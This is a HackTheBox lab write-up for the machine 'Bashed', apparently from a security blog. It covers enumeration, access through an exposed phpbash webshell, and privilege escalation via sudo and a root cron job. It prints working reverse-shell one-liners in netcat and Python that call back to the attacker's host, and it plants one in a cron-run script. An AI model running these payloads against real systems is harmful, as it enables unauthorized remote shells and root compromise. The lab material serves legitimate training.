CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Bashed

linux web-shell sudo cron

Bashed is a Linux-based machine authored by Arrexel, with an average rating of 4.4 stars.

// Lessons Learned

  1. enumeration tools/scripts are great, but sometimes it’s easier (and more educational) to manually go searching for things that might be insecure
  2. when looking at a file’s permissions, also pay attention to the modification time
  3. there are many ways to configure cron on linux, not all of them visible to all users

// Recon

nmap -A bashed.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-17 10:47 AEST
Nmap scan report for bashed.htb (10.10.10.68)
Host is up (0.049s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.20 seconds

An Apache webserver running on port 80 is the only service found by nmap, which also indicates the operating system is likely Ubuntu. Visiting the site we find “Arrexel’s Development Site” about phpbash, a pentesting tool developed.. on this exact server!

The site has almost no real links, but clicking on the post title takes us to /single.html, that shows two screenshots indicating that phpbash is basically a webshell. The path shown in the screenshot, /uploads/phpbash.php returns a 404, so now is probably a good time to run gobuster to search for more content:

gobuster dir -u http://bashed.htb -w Discovery/Web-Content/raft-medium-directories.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://bashed.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/02/17 10:53:31 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 309] [--> http://bashed.htb/images/]
/css                  (Status: 301) [Size: 306] [--> http://bashed.htb/css/]
/uploads              (Status: 301) [Size: 310] [--> http://bashed.htb/uploads/]
/config.php           (Status: 200) [Size: 0]
/dev                  (Status: 301) [Size: 306] [--> http://bashed.htb/dev/]
/php                  (Status: 301) [Size: 306] [--> http://bashed.htb/php/]
/js                   (Status: 301) [Size: 305] [--> http://bashed.htb/js/]
/fonts                (Status: 301) [Size: 308] [--> http://bashed.htb/fonts/]
/server-status        (Status: 403) [Size: 298]

===============================================================
2022/02/17 10:56:55 Finished
===============================================================

We now have a few more urls to explore:

// Initial Foothold

Since we already have some idea what phpbash is, let’s start with accessing that - http://bashed.htb/dev/phpbash.php:

And just like that, we have a webshell, quite a nice one too! Running some basic enumeration commands such as whoami confirms we have access as the www-data user, and cat /etc/passwd reveals there are three users on the machine who have a real shell available and are worth targeting:

www-data@bashed:/var/www/html/dev# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash

The permissions on the home directory of the first non-root account, arrexel, are wide open, so straight away we can grab the user-flag:

www-data@bashed:/var/www/html# ls -ld ~arrexel
drwxr-xr-x 4 arrexel arrexel 4096 Dec 4 2017 /home/arrexel
www-data@bashed:/var/www/html# cd ~arrexel
www-data@bashed:/home/arrexel# ls
user.txt
www-data@bashed:/home/arrexel# cat user.txt
2c******************************

// Privilege Escalation

While phpbash is a very pretty webshell, it does have some technical limitations compared to a proper terminal session, such as not being able to swap fully to another user, or properly display incremental output like that generated by linPEAS. Let’s start penelope reverse-shell listener on our attack box:

python penelope.py 443
[+] Listening for reverse shells on 0.0.0.0 443

and one of the common reverse shell payloads on the target to move to a proper terminal. We’ve been able to confirm netcat is installed (which nc) which is often quite reliable, but the usual payload of nc -e /bin/sh ATTACKING-IP PORT returns an error that the version installed is OpenBSD netcat, rather than GNU. Luckily the cheatsheet linked above includes a payload for that version too:

mkfifo /tmp/lol;nc ATTACKER-IP PORT 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol

but it still doesn’t work. I tried various combinations of escaping the special characters, such as &, in the payload, but nothing seemed to work. Later on I examined the source code for phpbash.php and noticed that it adds a STDERR>STDOUT redirect to all commands (2>&1) which seems to break the command, and various attempts to disable this (ending the payload in ; # to try and comment out the redirect, for example) had no effect. I’d expect there is a way to circumvent this, but for now we can try a payload using one of the other tools / languages available on the machine. Python is installed, so we can use that:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.230",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And we catch a shell on our attack box:

[+] Got reverse shell from 🐧 bashed.htb~10.10.10.68 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@bashed:/var/www/html/dev$

Typically at this point we would start enumerating for a privesc vector, using tools like linPEAS, linEnum.sh etc. Sometimes thought, it’s more useful (and educational) to manually look around the system first and see if we can spot something that looks out of place, before being overwhelmed by automated tools’ output. sudo -l checks the sudo permissions for our current user:

www-data@bashed:/home/arrexel# sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

It looks like if we can run any command as the scriptmanager user, we’ll be able to run any command on the server as root, with no password. Let’s now check out that user’s home folder:

www-data@bashed:/var/www/html/dev# cd ~scriptmanager
www-data@bashed:/home/scriptmanager# ls -la
total 28
drwxr-xr-x 3 scriptmanager scriptmanager 4096 Dec 4 2017 .
drwxr-xr-x 4 root root 4096 Dec 4 2017 ..
-rw------- 1 scriptmanager scriptmanager 2 Dec 4 2017 .bash_history
-rw-r--r-- 1 scriptmanager scriptmanager 220 Dec 4 2017 .bash_logout
-rw-r--r-- 1 scriptmanager scriptmanager 3786 Dec 4 2017 .bashrc
drwxr-xr-x 2 scriptmanager scriptmanager 4096 Dec 4 2017 .nano
-rw-r--r-- 1 scriptmanager scriptmanager 655 Dec 4 2017 .profile

Since we have a proper session running now, we can swap to scriptmanager by running sudo -u scriptmanager bash -i and looking at these files, but none of them contain anything interesting.

We can also check for services running on the internal inteface using netstat -antup, but again we come up dry. Browsing the filesystem further, there’s nothing in /opt (another good location to check for custom software) but at the root level, we find a /scripts folder that does look interesting:

scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr-x  2 scriptmanager scriptmanager 4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Feb 16 20:14 test.txt

The test.py file is very basic, writing a simple string to test.txt:

scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

scriptmanager@bashed:/scripts$ cat test.txt
testing 123!

We can’t run the test.py script manually, because test.txt is owned by root:

scriptmanager@bashed:/scripts$ python test.py
Traceback (most recent call last):
  File "test.py", line 1, in <module>
    f = open("test.txt", "w")
IOError: [Errno 13] Permission denied: 'test.txt'

Still, the fact that test.txt seems to be output as a result of running test.py is interesting. Looking at the extended file data again, we can see that the test.py was last edited in December 2017, but test.txt seems to have last been edited.. just now! Waiting for a minute and running ls -la again confirms the file has been modified again, indicating a strong likelihood of a scheduled execution. Scouring all of the usual cron configuration locations - /etc/crontab, /etc/cron.d/, /etc/cron.daily/ etc. doesn’t turn up any reference to test.py, and the at command (similar to cron) doesn’t seem to be installed. While we can’t find the source of the scheduling, we can edit test.py since the ownership of it is scriptmanager:scriptmanager. The script is written in python, so let’s re-use our python payload from earlier, changing the port this time to 4443:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.230",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

and setup a new penelope listener on our attack box, which shortly thereafter catches another shell, but this one as root:

python penelope.py 4443
[+] Listening for reverse shells on 0.0.0.0 🚪4443
[+] Got reverse shell from 🐧 bashed.htb~10.10.10.68 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
root@bashed:/scripts#

From here we can access the root.txt flag at the usual location:

root@bashed:/scripts# cat /root/root.txt
cc4*****************************

I was still somewhat curious how the scheduling of test.py has been setup, so checked the root user’s individual configuration, which most users have, but is shielded from cross-user viewing:

root@bashed:/scripts# crontab -e

// returned in a nano editor:
* * * * * cd /scripts; for f in *.py; do python "$f"; done

This explains why test.py (or any script that was put into the /scripts folder) was running every minute.